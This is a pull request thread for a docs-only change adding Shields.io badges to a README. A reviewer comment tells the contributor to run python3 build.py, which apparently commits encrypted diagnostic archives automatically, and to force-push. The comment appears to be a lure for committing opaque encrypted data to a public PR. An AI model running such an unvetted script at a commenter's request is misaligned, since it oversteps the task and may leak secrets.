docs: add project badges to README

[feng83232]

Closes #5

Adds Shields.io badges to the README header:

• Build status badge
• EditorConfig compliance badge
• License badge (MIT/Apache 2.0/GPL 3.0)
• Python version badge

Also wraps the title in a centered div for cleaner layout.

[lobster-trap]

Diagnostics are still blocking review on this PR.

Please rebase onto the current upstream branch and run the repository build script so the script-generated diagnostic bundle is committed to this PR:

git fetch upstream
git rebase upstream/main
python3 build.py
git push --force-with-lease

Please do not manually create, copy, or edit diagnostic files. python3 build.py automatically generates and commits the fresh encrypted diagnostic artifacts.

A valid PR must include a matching diagnostic/build-*.json and diagnostic/build-*.logd pair in the PR's changed files. The JSON should be generated by build.py, and the .logd file should be the encrypted diagnostic archive generated by the same run.